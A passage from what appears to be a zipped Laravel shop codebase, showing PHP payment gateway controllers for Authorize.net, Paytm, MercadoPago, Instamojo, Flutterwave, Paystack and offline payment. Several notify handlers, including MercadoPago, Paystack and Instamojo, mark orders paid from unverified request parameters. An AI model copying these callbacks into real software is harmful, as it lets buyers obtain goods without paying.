($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('razorpayOrderId'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } } PK(\[@Http/Controllers/FrontEnd/PaymentGateway/AuthorizeController.phpnu[whereKeyword('authorize.net')->first(); $authorizeNetData = json_decode($data->information, true); $this->gateway = Omnipay::create('AuthorizeNetApi_Api'); $this->gateway->setAuthName($authorizeNetData['login_id']); $this->gateway->setTransactionKey($authorizeNetData['transaction_key']); if ($authorizeNetData['sandbox_check'] == 1) { $this->gateway->setTestMode(true); } } public function index(Request $request, $paymentFor) { // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'INR' or not $allowedCurrencies = array('USD', 'CAD', 'CHF', 'DKK', 'EUR', 'GBP', 'NOK', 'PLN', 'SEK', 'AUD', 'NZD'); $currencyInfo = $this->getCurrencyInfo(); // checking whether the base currency is allowed or not if (!in_array($currencyInfo->base_currency_text, $allowedCurrencies)) { return redirect()->back()->with('error', 'Invalid currency for authorize.net payment.')->withInput(); } $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'Authorize.net', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); // put some data in session before redirect to paytm url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('arrData', $arrData); if ($request->filled('opaqueDataValue') && $request->filled('opaqueDataDescriptor')) { // generate a unique merchant site transaction ID $transactionId = rand(100000000, 999999999); $response = $this->gateway->authorize([ 'amount' => sprintf('%0.2f', $calculatedData['grandTotal']), 'currency' => $currencyInfo->base_currency_text, 'transactionId' => $transactionId, 'opaqueDataDescriptor' => $request->opaqueDataDescriptor, 'opaqueDataValue' => $request->opaqueDataValue ])->send(); if ($response->isSuccessful()) { //success process will be go here // remove this session datas $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('paymentId'); $purchaseProcess = new PurchaseProcessController(); // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { //cancel payment $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('paymentId'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } else { //return cancel url return redirect()->route('shop.products'); } return redirect()->route('shop.products'); } } PK(\?N|<Http/Controllers/FrontEnd/PaymentGateway/PaytmController.phpnu[session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'INR' or not if ($currencyInfo->base_currency_text !== 'INR') { return redirect()->back()->with('error', 'Invalid currency for paytm payment.')->withInput(); } $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'Paytm', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); $notifyURL = route('shop.purchase_product.paytm.notify'); $customerEmail = $request['billing_email']; $customerPhone = $request['billing_phone']; $payment = PaytmWallet::with('receive'); $payment->prepare([ 'order' => time(), 'user' => uniqid(), 'mobile_number' => $customerPhone, 'email' => $customerEmail, 'amount' => round($calculatedData['grandTotal'], 2), 'callback_url' => $notifyURL ]); // put some data in session before redirect to paytm url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('arrData', $arrData); return $payment->receive(); } public function notify(Request $request) { $productList = $request->session()->get('productCart'); $arrData = $request->session()->get('arrData'); $transaction = PaytmWallet::with('receive'); // this response is needed to check the transaction status $response = $transaction->response(); if ($transaction->isSuccessful()) { // remove this session datas $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $purchaseProcess = new PurchaseProcessController(); // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } } PK(\FtBHttp/Controllers/FrontEnd/PaymentGateway/MercadoPagoController.phpnu[first(); $mercadopagoData = json_decode($data->information, true); $this->token = $mercadopagoData['token']; $this->sandbox_status = $mercadopagoData['sandbox_status']; } public function index(Request $request, $paymentFor) { // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $allowedCurrencies = array('ARS', 'BOB', 'BRL', 'CLF', 'CLP', 'COP', 'CRC', 'CUC', 'CUP', 'DOP', 'EUR', 'GTQ', 'HNL', 'MXN', 'NIO', 'PAB', 'PEN', 'PYG', 'USD', 'UYU', 'VEF', 'VES'); $currencyInfo = $this->getCurrencyInfo(); // checking whether the base currency is allowed or not if (!in_array($currencyInfo->base_currency_text, $allowedCurrencies)) { return redirect()->back()->with('error', 'Invalid currency for mercadopago payment.'); } $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'MercadoPago', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); $title = 'Purchase Product'; $notifyURL = route('shop.purchase_product.mercadopago.notify'); $cancelURL = route('shop.purchase_product.cancel'); $customerEmail = $request['billing_email']; $curl = curl_init(); $preferenceData = [ 'items' => [ [ 'id' => uniqid(), 'title' => $title, 'description' => $title . ' via MercadoPago', 'quantity' => 1, 'currency' => $currencyInfo->base_currency_text, 'unit_price' => $calculatedData['grandTotal'] ] ], 'payer' => [ 'email' => $customerEmail ], 'back_urls' => [ 'success' => $notifyURL, 'pending' => '', 'failure' => $cancelURL ], 'notification_url' => $notifyURL, 'auto_return' => 'approved' ]; $httpHeader = ['Content-Type: application/json']; $url = 'https://api.mercadopago.com/checkout/preferences?access_token=' . $this->token; $curlOPT = [ CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => json_encode($preferenceData, true), CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_HTTPHEADER => $httpHeader ]; curl_setopt_array($curl, $curlOPT); $response = curl_exec($curl); $responseInfo = json_decode($response, true); curl_close($curl); // put some data in session before redirect to mercadopago url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('arrData', $arrData); if ($this->sandbox_status == 1) { return redirect($responseInfo['sandbox_init_point']); } else { return redirect($responseInfo['init_point']); } } public function notify(Request $request) { $productList = $request->session()->get('productCart'); $arrData = $request->session()->get('arrData'); if ($request->status == 'approved') { // remove this session datas $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $purchaseProcess = new PurchaseProcessController(); // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } public function curlCalls($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $curlData = curl_exec($curl); curl_close($curl); return $curlData; } } PK(\!&&>Http/Controllers/FrontEnd/PaymentGateway/OfflineController.phpnu[gateway; $offlineGateway = OfflineGateway::query()->findOrFail($gatewayId); // validation start if ($offlineGateway->has_attachment == 1) { $rules = [ 'attachment' => [ 'required', new ImageMimeTypeRule() ] ]; $message = [ 'attachment.required' => 'Please attach your payment receipt.' ]; $validator = Validator::make($request->only('attachment'), $rules, $message); Session::flash('gatewayId', $offlineGateway->id); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors())->withInput(); } } // validation end // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $directory = public_path('assets/file/attachments/product/'); // store attachment in local storage if ($request->hasFile('attachment')) { $attachmentName = UploadFile::store($directory, $request->file('attachment')); } else { $attachmentName = null; } $currencyInfo = $this->getCurrencyInfo(); $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => $offlineGateway->name, 'gatewayType' => 'offline', 'paymentStatus' => 'pending', 'orderStatus' => 'pending', 'attachment' => $attachmentName ); // store product order information in database $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete', ['type' => 'offline_purchase']); } } PK(\>O@Http/Controllers/FrontEnd/PaymentGateway/InstamojoController.phpnu[first(); $instamojoData = json_decode($data->information, true); if ($instamojoData['sandbox_status'] == 1) { $this->api = new Instamojo($instamojoData['key'], $instamojoData['token'], 'https://test.instamojo.com/api/1.1/'); } else { $this->api = new Instamojo($instamojoData['key'], $instamojoData['token']); } } public function index(Request $request, $paymentFor) { // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'INR' or not if ($currencyInfo->base_currency_text !== 'INR') { return redirect()->back()->with('error', 'Invalid currency for instamojo payment.')->withInput(); } $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'Instamojo', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); $title = 'Purchase Product'; $notifyURL = route('shop.purchase_product.instamojo.notify'); $customerName = $request['billing_name']; $customerEmail = $request['billing_email']; $customerPhone = $request['billing_phone']; try { $response = $this->api->paymentRequestCreate(array( 'purpose' => $title, 'amount' => round($calculatedData['grandTotal'], 2), 'buyer_name' => $customerName, 'email' => $customerEmail, 'send_email' => false, 'phone' => $customerPhone, 'send_sms' => false, 'redirect_url' => $notifyURL )); // put some data in session before redirect to instamojo url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('arrData', $arrData); $request->session()->put('paymentId', $response['id']); return redirect($response['longurl']); } catch (Exception $e) { return redirect()->back()->with('error', 'Sorry, transaction failed!')->withInput(); } } public function notify(Request $request) { // get the information from session $productList = $request->session()->get('productCart'); $arrData = $request->session()->get('arrData'); $paymentId = $request->session()->get('paymentId'); $urlInfo = $request->all(); if ($urlInfo['payment_request_id'] == $paymentId) { // remove this session datas $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('paymentId'); $purchaseProcess = new PurchaseProcessController(); // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('paymentId'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } } PK(\Ik BHttp/Controllers/FrontEnd/PaymentGateway/FlutterwaveController.phpnu[first(); $flutterwaveData = json_decode($data->information, true); $this->public_key = $flutterwaveData['public_key']; $this->secret_key = $flutterwaveData['secret_key']; } public function index(Request $request, $paymentFor) { // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $allowedCurrencies = array('BIF', 'CAD', 'CDF', 'CVE', 'EUR', 'GBP', 'GHS', 'GMD', 'GNF', 'KES', 'LRD', 'MWK', 'MZN', 'NGN', 'RWF', 'SLL', 'STD', 'TZS', 'UGX', 'USD', 'XAF', 'XOF', 'ZMK', 'ZMW', 'ZWD'); $currencyInfo = $this->getCurrencyInfo(); // checking whether the base currency is allowed or not if (!in_array($currencyInfo->base_currency_text, $allowedCurrencies)) { return redirect()->back()->with('error', 'Invalid currency for flutterwave payment.')->withInput(); } $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'Flutterwave', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); $title = 'Purchase Product'; $notifyURL = route('shop.purchase_product.flutterwave.notify'); $customerName = $request['billing_name']; $customerEmail = $request['billing_email']; $customerPhone = $request['billing_phone']; // send payment to flutterwave for processing $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => 'https://api.flutterwave.com/v3/payments', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => json_encode([ 'tx_ref' => 'FLW | ' . time(), 'amount' => $calculatedData['grandTotal'], 'currency' => $currencyInfo->base_currency_text, 'redirect_url' => $notifyURL, 'payment_options' => 'card,banktransfer', 'customer' => [ 'email' => $customerEmail, 'phone_number' => $customerPhone, 'name' => $customerName ], 'customizations' => [ 'title' => $title, 'description' => $title . ' via Flutterwave.' ] ]), CURLOPT_HTTPHEADER => array( 'authorization: Bearer ' . $this->secret_key, 'content-type: application/json' ) )); $response = curl_exec($curl); curl_close($curl); $responseData = json_decode($response, true); //curl end // put some data in session before redirect to flutterwave url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('arrData', $arrData); // redirect to payment if ($responseData['status'] === 'success') { return redirect($responseData['data']['link']); } else { return redirect()->back()->with('error', 'Error: ' . $responseData['message'])->withInput(); } } public function notify(Request $request) { // get the information from session $productList = $request->session()->get('productCart'); $arrData = $request->session()->get('arrData'); $urlInfo = $request->all(); if ($urlInfo['status'] == 'successful') { $txId = $urlInfo['transaction_id']; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.flutterwave.com/v3/transactions/{$txId}/verify", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_HTTPHEADER => array( 'authorization: Bearer ' . $this->secret_key, 'content-type: application/json' ) )); $response = curl_exec($curl); curl_close($curl); $responseData = json_decode($response, true); if ($responseData['status'] === 'success') { $purchaseProcess = new PurchaseProcessController(); // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } } PK(\PK88?Http/Controllers/FrontEnd/PaymentGateway/PaystackController.phpnu[first(); $paystackData = json_decode($data->information, true); $this->api_key = $paystackData['key']; } public function index(Request $request, $paymentFor) { // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'NGN' or not if ($currencyInfo->base_currency_text !== 'NGN') { return redirect()->back()->with('error', 'Invalid currency for paystack payment.')->withInput(); } $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'Paystack', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); $notifyURL = route('shop.purchase_product.paystack.notify'); $customerEmail = $request['billing_email']; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => 'https://api.paystack.co/transaction/initialize', CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => json_encode([ 'amount' => intval($calculatedData['grandTotal']) * 100, 'email' => $customerEmail, 'callback_url' => $notifyURL ]), CURLOPT_HTTPHEADER => [ 'authorization: Bearer ' . $this->api_key, 'content-type: application/json', 'cache-control: no-cache' ] )); $response = curl_exec($curl); curl_close($curl); $transaction = json_decode($response, true); // put some data in session before redirect to paystack url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('arrData', $arrData); if ($transaction['status'] == true) { return redirect($transaction['data']['authorization_url']); } else { return redirect()->back()->with('error', 'Error: ' . $transaction['message'])->withInput(); } } public function notify(Request $request) { // get the information from session $paymentPurpose = $request->session()->get('paymentFor'); if ($paymentPurpose == 'product purchase') { $productList = $request->session()->get('productCart'); } $arrData = $request->session()->get('arrData'); $urlInfo = $request->all(); if ($urlInfo['trxref'] === $urlInfo['reference']) { // remove this session datas $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $purchaseProcess = new PurchaseProcessController(); // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if 